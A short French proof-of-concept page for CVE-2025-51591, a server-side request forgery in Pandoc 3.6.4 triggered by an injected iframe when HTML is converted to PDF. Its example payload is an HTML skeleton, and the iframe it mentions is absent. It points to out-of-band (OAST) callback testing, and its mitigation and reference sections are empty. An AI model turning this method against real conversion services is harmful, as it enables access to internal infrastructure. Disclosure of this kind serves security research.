CVE-2025-51591 Pandoc SSRF POC

Une vulnérabilité de type Server-Side Request Forgery (SSRF) dans JGM Pandoc v3.6.4 permet aux attaquants d'accéder à l'ensemble de l'infrastructure et de la compromettre en injectant une iframe spécialement conçue.

Installer Pandoc

https://pandoc.org/installing.html

Exemple de payload

⚠️ remplacez l'URL de l'iframe par votre propre URL OAST. ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    
</body>

</html>

Convertir le payload en PDF avec Pandoc

CVE-2025-51591-Pandoc-SSRF-POC

Populaires

Stratégies d'atténuation

Références